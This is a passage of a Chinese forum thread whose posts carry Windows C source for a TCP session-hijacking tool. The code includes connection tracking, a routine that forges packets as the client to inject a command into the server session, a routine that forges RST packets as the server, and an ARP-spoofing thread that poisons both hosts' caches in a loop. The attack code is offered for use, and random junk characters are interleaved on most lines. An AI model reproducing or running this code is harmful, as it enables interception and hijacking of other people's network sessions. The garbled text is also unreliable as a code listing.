) N6 N) [8 c& ^9 c% k      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; & Z) v, F6 q* w  p( }/ R( E
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; 0 Q: z9 |1 M' b
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; 3 e; r5 f; [* D- @
        (pTmp-&gt;uClientPort == uClientPort) )
0 h, z; o$ A( C( S      { . B' u0 \* T1 v" n
        if(bDelete)
& T# {+ }$ U5 H+ O* r        {
6 D5 p: f; s! n! }- i& S' K- r          pTmp-&gt;bActive = FALSE; ! a0 ^) h; |/ s; d
          return 0; 8 F6 d7 I0 m; V/ O, t2 Q) ~7 S
        }
: [% W! d1 L2 A4 H$ T; A1 d        else return pTmp-&gt;ident;
( C% W3 Y! E' c8 n- E, I      }
7 P/ p) Z5 E9 E    }
; |7 u2 K5 D3 _( G* i    pTmp = pTmp-&gt;Next;
+ j4 v" K  x7 [' ^  s' r, }' w6 g  }
! E0 B3 Q: L5 N  //not found, create new node   G5 w/ g5 i( t; [; v: M; M  l
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
6 \. U8 g( Q2 u2 y4 X" Y& v  { , a6 L$ |3 u8 m4 _: G2 r) x
    //search unactive note 1 s5 R( j+ r) x5 K% D8 l( k, N; x
    pTmp = g_pConnHead;
/ M7 B6 e, u- k    while(pTmp)
8 I' t/ D" s2 f8 j* N    {   r  z' R' J; f3 s3 K5 O! ?6 y9 ]
      if(!pTmp-&gt;bActive) break;
% ^" ]7 X' \" B4 j1 K. F: c      pTmp = pTmp-&gt;Next; - H# C$ x/ m( a$ _) H
    }   L/ U" P- T' f4 v, E
    //found a unactive node - U$ |0 J/ T4 v, E) o$ w
    if(pTmp)
' N4 G( A& v$ q- i    { : i0 @) }3 }0 w% u& U
      pTmp-&gt;dwServerIP = dwServerIP;
7 p) p+ J: Y) S& a1 E- j9 Q0 U      pTmp-&gt;uServerPort = uServerPort; & _* c0 z: p- z4 Z& b
      pTmp-&gt;dwClientIP = dwClientIP;
1 v' f/ A/ v+ ]5 d      pTmp-&gt;uClientPort = uClientPort; 4 K1 ~' T3 \" \
      pTmp-&gt;bActive = TRUE;
# Q, R5 G# K9 E      return pTmp-&gt;ident;
' t) h4 Y/ Q5 `% F4 J2 R    }
9 E) Y0 H& @: j4 `, i; s" S    //not found,create new node ' U* |0 [9 p+ Y
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); & k' C. _: Y+ @/ C; q$ A5 X4 o5 W
    if(!pNew)
! r  d4 s4 B* v    { # V; m5 D9 h5 O# P/ Q$ J: A* a
      printf("malloc for link node error:%d\n", GetLastError());
7 k9 W& J& n; t  j' i! v. D9 R6 I0 W      return 0; " w! q5 j$ Q! I8 Y, ~  |, m
    }
4 Y! g, K$ {" n5 Z2 T9 A1 y    //fill the struct # [# e- z0 Q$ B% `
    pNew-&gt;bActive = TRUE; " E: f: ~, x% f7 r4 x( Q
    pNew-&gt;dwServerIP = dwServerIP;
1 j. o5 o" U# J7 H, X5 N    pNew-&gt;uServerPort = uServerPort;
/ B% K+ @$ i; _+ d2 ]    pNew-&gt;dwClientIP = dwClientIP;
) j7 P$ c& I! w' ?    pNew-&gt;uClientPort = uClientPort; & F" G  O% j  v0 r
    pNew-&gt;ident = ++g_ident; : m0 w& j, {; q
    pNew-&gt;Next = NULL; 6 G4 @& r, K+ Y0 g
    //add new node to link
" Y9 U4 m% |, s# c* S8 n: D$ g    if(!g_pConnHead)
1 g& x& |! B, h; t      g_pConnHead = g_pConnLast = pNew;
' s: {& C3 b+ a, c$ X& ~2 D4 E    else , f( I1 s' r9 B$ G6 _! C/ x
    {
. a; M% {% z: ]      g_pConnLast-&gt;Next = pNew; ; O0 N' M3 \% [
      g_pConnLast = pNew;
: k# [2 A0 i$ l4 W    } $ D+ f, s% M$ R1 o; r+ T8 R
    return pNew-&gt;ident;
4 B, i2 ^1 a4 K- }8 l  } 6 f# X* z, d. K  j; x- D9 m3 C7 Q
  return 0; 0 ?$ H. W) n3 r  f& }
}
* X  e4 g/ \6 k4 o0 _- Y
& O" m5 ~" T1 k$ F; q) }* z//
* X0 ?1 x( ], N' \0 q//功能:判断一个数据包是不是只有ACK标志 * c, m" b$ r) |7 S' X6 v& T' B
//
# J5 N7 B4 h7 D# R% T, J  v, LBOOL IsACKPacket(unsigned char flag)
0 p! E5 w' S1 A, b- M{
# G+ }3 C. ~# J6 f' O. K4 ~  int  i, j=1;
/ ?- l4 e) _- Q% k! V" R0 v# ]" i  for(i=0 ; i&lt;4; i++) " U3 |2 ~% c8 p1 r9 Z# k. s
  { $ a% D; g% y5 a  `8 A
    if(flag &amp; j) return FALSE;
9 e6 P/ {9 |) K0 a% o: U7 l$ u    j &lt;&lt;= 1;
* a! r( I- s* B& M  } 5 m3 z* |. v3 D& X# Y5 \3 u
  if(!(flag &amp; 0x10)) return FALSE;//is ack?
* z" y% M. {$ r! k9 `: B( _+ v  if(flag &amp; 0x20) return FALSE;
) j  H( E2 Z! a  return TRUE;   f9 Q' ~0 t+ C" H7 O+ r- w
} * x' n, G# ]7 U' o1 O7 Q3 _" `  y
3 Q# p+ V5 F# R% ~. i. x
// ( G, C0 X% `8 U  y1 E( V5 V+ f
//功能:伪装成Client给Server发送数据包 ! W6 a9 z7 {: i. W5 h
//
5 E. E* X7 L4 ~- \) ~! e1 `BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
# D3 e8 ]! E. o7 @2 W' {{ 4 _3 x( \, a. P0 f6 I8 r3 d

7 B4 B& \1 A7 S& d+ |/ N% n1 s/ }  char    szBuff[1520]; , T( L3 Z5 N2 _: N/ J% u
  PSDHDR    psdhdr; 3 o4 C1 Y) h$ k- Y7 X/ W
  PTCPPACKET  pHiJackPacket = NULL; 1 z, @+ R! W& r0 a9 o  X* o
  BOOL    bRet = FALSE;
3 A& w: n4 n. T8 P$ @
" `6 T& H% x7 h4 u+ o& M9 d& j  __try
& o1 {$ a- p( x6 f  {
7 F' W; S* K2 g1 h+ i! ~    // / j* Z: n; N0 |" B
    if(!g_pCurrCtrlConn) __leave;
& F* r! D) m7 R+ E    //allocate memory for hijack packet
; [! U( |+ @% ^% g    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
7 o8 k/ _$ }; j0 T6 C0 Z3 [+ w+ F4 B    if(!pHiJackPacket) . _3 \: O$ K: u) Q- N
    {
& D/ U- j- q1 L! p+ T* j" G: k      printf("malloc error:%d\n", GetLastError());
- P3 ]4 ?! Y- R: q& S      __leave;
$ ]0 g) n" T+ p4 d' {$ v    }
/ o; O6 k: Q5 w( k: v    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
0 d, \. L5 v% C) G) S- D6 n" s    //-------------- modify the packet ---------------//
; g3 ?" p/ p/ f5 u4 I  K( E6 ?    //modify ethernet head 2 _0 U4 F/ P. h6 H4 Q$ T$ b
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
5 o- W4 M- \8 ]; E* [* |" H' P    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
0 I# _+ H/ |% f7 {    //modify ip head + \! g2 _  C, ?$ m  x; y$ Q
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); 6 s/ H* ?3 f& U- g4 p4 V: e
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 8 ]% o+ s) C0 e5 a
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
+ v4 R* ^% a' F    pHiJackPacket-&gt;iphdr.checksum = 0;
7 Y$ h$ M* ^  I1 S& Q2 H    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client ( y" K9 Z" O- }3 F& M: [) P
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
8 z' y  S! o4 X5 ~' o4 L& K' v    //modify tcp head 5 X1 P. g, l( }+ w' S! v
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
( b4 r% T: B) _. Q' `# i& Q0 O( c    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port / f# V6 C. a& \+ y
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); - H0 V8 G& I9 }( K* `
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
/ ]/ |5 r. u1 j. f5 r    pHiJackPacket-&gt;tcphdr.th_sum = 0; $ m( S" A6 }' Z0 e& H* l
    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; & X% F3 S2 M' u% M1 }: m# C0 Q
    //fill tcp psd head
/ t- b6 a" \8 i# _. [0 p" x    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
4 l. T+ O4 K- N1 ]- O, s* z! i    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           % n5 @: @' \( w$ ^( k  b
    psdhdr.mbz = 0; ; t, {4 F' ]% `: V( W: n
    psdhdr.ptcl = IPPROTO_TCP; ) N8 T/ L) L( b2 V8 }, Y0 {
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len / W: q0 @) T+ V/ N# v7 G
    //calculate tcp checksum     # X5 x% t6 C7 x6 B# k: v; J% q" b
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   - ~  Y: m* y, B$ T% a) e, R! o1 k
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); % y" V, K. R% \3 ~' y" @( }
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
" Z3 [$ R+ N* ?2 U  b' I. f0 d    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
' [; E1 N" r$ p( c( H5 S( P    //calculate IP checksum 3 G# M4 Z, J' j. T1 G* O
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); , ]$ B+ ~( h5 t5 O
    //fill send buffer           * O0 g1 V; _6 s8 I+ Y: ~( c
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 1 K2 k( |# w- c) i7 Z
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
5 B( U8 S. A' |5 D+ T    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); . v! M" z& ^* n7 y+ I4 n3 ^/ X
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
- |+ z) F& S6 m% p. ^    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); ; ~! H+ t0 I' P
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
7 _0 d+ _' I/ Y& l- j3 s8 R    {
2 J* R8 O- M. n8 U6 E) e0 `      printf("Error sending the hijack packets!\n"); ; R* J. |5 X( {( {( w: s7 d- S
      __leave;
/ U! G+ D6 F3 Y3 V7 V; l3 b    }
3 e8 @+ `/ e. t: I: N5 x& q    else printf("Send hijack packet ok!\n"); 5 v3 V5 j; w$ f* w4 L4 F- h
    bRet = TRUE; $ u. B( X( `) ~5 F* y" N/ ]
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally
1 o$ I/ x, g: X  { 1 p: O, v. ~4 k( e
    if(pHiJackPacket) free(pHiJackPacket); 1 A0 X* S" T: U3 j8 I! X0 Y2 C
  }
4 _1 z" Y  }2 R2 r  return bRet; : d( N2 C6 s8 M( v6 w/ U& e5 Y0 }0 |
} 7 F% w! U" V; W1 m
4 F0 F1 o2 ~3 R% L$ _% f
# T/ ?: h. s! B3 p8 f4 k) q: j9 Z
//
* d( }" W) o# n//功能:伪装成Server给Client发送rst包
% {7 }4 v3 d- S0 G. S) O// : d0 M: u* ^: \3 d+ g1 W/ F
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
) t) G( ?7 p" I! \& a$ C{
7 X7 {0 ?- B( ?2 ]' l' Q  char    szBuff[60];
! h! h# x$ O' u" b) o! S5 X: ^: r  PSDHDR    psdhdr; 6 p2 F2 e1 ^: f" [  P
  PTCPPACKET  pTcpPacket = NULL;
* G6 S; p# U2 `7 ?. m8 k' S  BOOL    bRet = FALSE;
! Q% y, B4 \2 ~0 W+ @' V3 m7 M( V3 X  }
  __try
, A3 M$ O* Q1 g3 t  {
* |/ h* A8 H7 g- z    //检查当前指向想控制的连接的信息的指针是否为空
8 [# I% m9 X, p7 ]  l. |; k' Y    if(!g_pCurrCtrlConn) __leave; & f2 Q; q9 L1 ]) m4 R' c5 ?: m" m& i
    //allocate memory for rst packet / a1 S1 t2 @( l4 r
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); # Q% u- ?3 W5 `* a. ^' l
    if(!pTcpPacket)
7 [- A. l9 o2 Q7 x0 y    {
+ m, K, w& |) H+ S% i+ x      printf("malloc error:%d\n", GetLastError()); 2 P% u" P) V& D% Q
      __leave; % F5 d, H  @- k/ i3 R! P
    }
# m+ f8 Q$ y* b0 s    //fill ethernet head
. @1 t# o9 a" Z. n9 `- G( g    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); + S: l* p, X/ {. f; g; _
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); . Z6 H5 n' X* b" E8 u/ N" F) f2 _
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); 5 x( y9 K5 Z/ ?5 |
    //fil ip head
( }7 y+ V0 J9 e0 \    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
; d! F9 K% i: h, Z  M    pTcpPacket-&gt;iphdr.tos = 0;
2 ~+ m' X" Q/ L& D3 j    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
, n/ L3 J" N1 Z3 i    pTcpPacket-&gt;iphdr.ident = 1;
  \6 d, X. B% v2 v5 b    pTcpPacket-&gt;iphdr.frag_and_flags = 0; ; |; q: E; ^5 _" l+ \- ?
    pTcpPacket-&gt;iphdr.ttl = 128;
+ G* ^1 y: W1 l1 s7 _3 {    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;   y9 e6 Z5 d4 i! P! F0 ]5 Y
    pTcpPacket-&gt;iphdr.checksum = 0;
8 _' f5 l* {: [& h$ a: E    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
/ h/ g/ R$ L+ Q    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
: |7 \7 n6 u: J: }  f7 v$ P% q' |    //fill tcp head
9 ~3 _; u: v' H: h/ T    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
5 v4 H! T7 A& ~; s    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 5 X9 T/ L  `( E5 @& Q
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN ! {) l  ~8 I: @
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
0 V# Y$ {3 r4 \0 B    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); + c5 A: c9 X( l, ^
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag * p* D- w$ L0 F" S1 B
    pTcpPacket-&gt;tcphdr.th_win = 0;
7 ?" ?; |' U" u$ r! _  b/ m. r    pTcpPacket-&gt;tcphdr.th_urp = 0; 3 J5 Z9 F( P% S
    pTcpPacket-&gt;tcphdr.th_sum = 0; 8 n1 g+ w2 q5 z5 I7 p5 q# h/ F1 B% U9 r
    //fill tcp psd head
+ H+ \, m# w/ V1 C( L! T    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           * @2 H& h  X( a) H7 Y
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
" t8 H$ W! R4 R9 P. ~+ U3 @' z    psdhdr.mbz = 0;
% z0 I3 g9 W$ Q: G    psdhdr.ptcl = IPPROTO_TCP; 2 u2 ]. M# m9 P3 [8 d" {5 e
    psdhdr.tcpl = htons(sizeof(TCPHDR)); , E" t0 @+ m& z. U" @  \
    //calculate tcp checksum     
6 r9 k; k% g: q& w2 A* }' }: ^    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   6 F: u0 k$ e5 C0 U, a5 z8 Y7 J0 [' M
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
0 L  v+ H. Z5 J- c6 [# U    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
1 f; {6 H" Y7 x9 G) F( K" E    //calculate IP checksum
: j# ^9 \0 g7 E1 }& c4 [    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
( s( f/ Q5 o# @3 d4 L: Q/ N    //fill send buffer 8 X+ o: [* c; [6 X( O# A5 G
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
) f% V7 c- T  n" c6 s+ F: G: \6 }    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 0 o1 i* Z; z& a! p
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
0 k: v5 w3 T, @9 I, K* R7 i8 z; o    { 7 X* x: l" j6 Y  U4 U
      printf("Error sending the rst packets!\n"); ' J) t. b( v. k4 ?8 u
      __leave;
! D0 b2 Y1 u( U# e8 T# c    }
+ T$ i7 d/ L) ]2 u7 N: Z- l# D% I3 T    else printf("Send RST packet ok!\n"); % [" y+ L( X+ H8 K: e; j0 c
    bRet = TRUE;
$ K4 Y$ P4 T3 `" x" L" n# k  }
2 }7 V; v# g* E$ I8 _* \1 u: O  __finally 0 ^, a8 @0 I5 p1 C
  { / v7 ]; A# z7 r% ~6 k* m/ y
    if(pTcpPacket) free(pTcpPacket); / t. |. w$ a, p( a- M5 u  ~, @! e
  }
, v% S5 F  }- f- b0 w) N' \  return bRet; 0 C5 D$ [9 z  P& L8 y
}
1 ~& w' t! l- }. W- y
. I- j4 p. P& g- Z//
7 c& X4 [, Y! b$ G7 K- Y//功能:计算校验和 . b, d6 {5 F  C/ k: ~( Z# W
//
/ B) J. b) b7 s! G! _' l+ `USHORT checksum(USHORT *buffer, int size) * p6 @2 j4 K' k$ c2 W( T" y' Y/ X7 k
{
- i6 X7 a" O- G  z9 V! Y5 P unsigned long cksum=0;
, R8 e$ @' x& T  i$ L! y% g8 Y while(size &gt;1) {
, X- o$ U/ m2 q: r- S  cksum+=*buffer++; " s; h! n/ X8 c, N2 y
  size -=sizeof(USHORT);
2 V1 B' D7 P9 w  g }
2 t2 J5 i: R2 A* s% r if(size ) {
1 i2 }8 l% M+ p" f# T* A+ X  cksum += *(UCHAR*)buffer; * h( @9 c) r* o; G
} : ]& E" u( u. ^( p( }8 Z! |7 S
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
) ~! }4 e0 i. F cksum += (cksum &gt;&gt;16); , U4 H/ r/ M3 }# y
return (USHORT)(~cksum);
7 p! I" i; H2 `6 L}
) Y8 t) {  w/ l% k$ L! W* g
; f+ g7 l) q0 p/ n. V// 4 T) C+ F" W0 p+ ~- |2 [# D
//功能:实施ARP欺骗
; g' `, O- S% p//1 告诉ServerSide,ClientSide的mac是ownmac
. c8 _9 i, _* i0 I# z, N//2 告诉ClientSide,ServerSide的mac是ownmac
+ Y, f3 v3 T  r; ?, h! M( l//
) v- ?# c, k7 \+ s$ `  J6 aDWORD WINAPI ArpSpoofThread(LPVOID lpType) , o7 L  G/ @9 L" G  D! o
{ $ e8 t9 r$ W; U' t, R) I9 u7 K  Y+ _1 ^
  int  iType = *(int *)lpType;
6 O' z5 i2 U* ~# U. z  ARPPACKET  ArpPacket; 7 @1 u8 I6 r& ?9 z$ `/ f
  LPPACKET  lpArpPacket;
1 M: M, o7 z& R9 K  char    szArpBuff[60];
* F0 f* M: _. b
4 D% @1 O2 h' O7 d  switch(iType)
2 n% U: }# ~+ R. R" o" d% X  {
$ Z, _8 q7 i5 U+ K: K% i; {    case 1:
7 j7 ?; s  y6 v      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
9 _) {4 m, K8 x* D- E      ArpPacket.arphdr.DestIP = g_ServerSideIP;
: d& A( K5 U" o9 }      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 0 d6 {% x2 J0 D; `2 F6 V. ?3 }+ j
      break;
% J: c& @5 Y) W2 S2 Z$ _    case 2:
* G2 c' F2 e4 `: l$ B$ w      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
$ f8 r5 L- W; [6 q6 m      ArpPacket.arphdr.DestIP = g_ClientSideIP; 4 r  P3 r0 a8 p/ L
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
" ]! y/ P' o& Y      break;
8 _( G; h) c% [9 [# R: E" r    default: ( O) G7 I8 p6 m* H- Q% H
      return 0;
6 L' Z+ x- u9 X8 r; X2 K+ w% }  } , J9 x9 h; i' g- z
  //ethernet head & o7 N/ O; |5 x# V: w0 _
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
+ Q4 L  ?0 _& ~2 [8 M, s9 J  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type 7 a0 x  [6 Y, f  G3 B
  //arp head " i! L5 j; w) ?& R# j4 L+ c
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
! D" V  A, s. h3 P$ D# D% E  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
0 g/ W) x! `# i1 i( F  ArpPacket.arphdr.HrdAddrlen = 6; $ O3 D" L, l7 W: C: s& \) L
  ArpPacket.arphdr.ProAddrLen = 4;
$ C# b) S- ?, z' D2 h  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); ( R1 X8 D9 V" Q8 F2 o2 R7 I1 D
  ArpPacket.arphdr.ProType = htons(EPT_IP);
7 {$ Z* M& u0 |1 L2 @  ArpPacket.arphdr.op = htons(2);//arp reply
- P4 z) e& M# E
& x7 j) B% r; y  I8 p9 B  lpArpPacket = PacketAllocatePacket(); - z& Y: l) X$ r- ~" _$ q0 |
  if(lpArpPacket == NULL) ! a, n/ A) O' N# x1 Q1 k/ r9 k
  { ; }' ~' n; A' m1 ^5 \' X
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
$ P: B; L2 p2 b3 Y$ W    return 0; 2 e; }2 j5 n" Z% L
  }
3 I5 Y) |4 r% L- g8 }$ k) d3 J( I1 |  memset(szArpBuff, 0, sizeof(szArpBuff)); 1 Y. Q  ?8 J2 G! \% L
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
" [+ c  s' L, @  PacketInitPacket(lpArpPacket, szArpBuff, 60); % X" Z9 Y5 a# E7 D/ k# p9 d
  //send arp packet 7 D, G0 z. f! n% R9 ]4 Y) x* m' o
  while(1) 8 A  U; \! M) ]4 q
  { , k% G6 Z& A& t. k8 s
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
/ z) o* v* k; ]3 Q5 f! E1 ~4 D    { - \, |3 ~% U. t9 ]+ a( K( r" ?
      printf("Error sending the arp spoof packets!\n"); 6 i' [. G) q0 w: S4 Z7 F: x
      return 0;
' x2 T' l1 i6 a  M8 c& q; L    }
5 I# r& W, w; k. E    Sleep(1000); $ t. l, q3 B: K& d
  } " o0 _3 i/ t8 c- S
  return 0;
' W8 F) k4 P5 E* Z) Y( P}
2 O- {- w$ _' V% W4 F3 c' n1 G7 b4 Y3 f" @, y& s6 v: \( J
//
2 U! F4 W& x  k0 P  N$ n; Q//功能:输入IP取得对应的MAC地址 8 T8 J7 d5 s. `
//
% @- P( q3 f' `BOOL GetMACAddr(DWORD DestIP, char *pMAC)
( B; D- e' y9 j# @% f% n9 U{
$ f, I" f0 `, I0 c( B  DWORD  dwRet; " D- u! U8 F" W/ z$ H  E
  ULONG  ulLen = 6, pulMac[2];
. g* D, `1 p6 Q+ _5 Y  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
% p3 x) J  v! h9 R1 I) n% |' n  if(dwRet == NO_ERROR) % W: f: s+ ~( y' o
  { ) b1 T( R7 Q7 D
    memcpy(pMAC, pulMac, 6);
" q" U2 g" l& N) ~$ L    return TRUE;
  G8 R9 a9 [, {2 g1 W+ L1 ]8 r5 r) r+ ~5 C  } $ }7 B9 B# c2 |+ w
  else return FALSE; * a" o+ X  Y  P  @0 Q7 \! ^3 T1 ?3 a
}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-19 12:44 , Processed in 0.564992 second(s), 91 queries .

    回顶部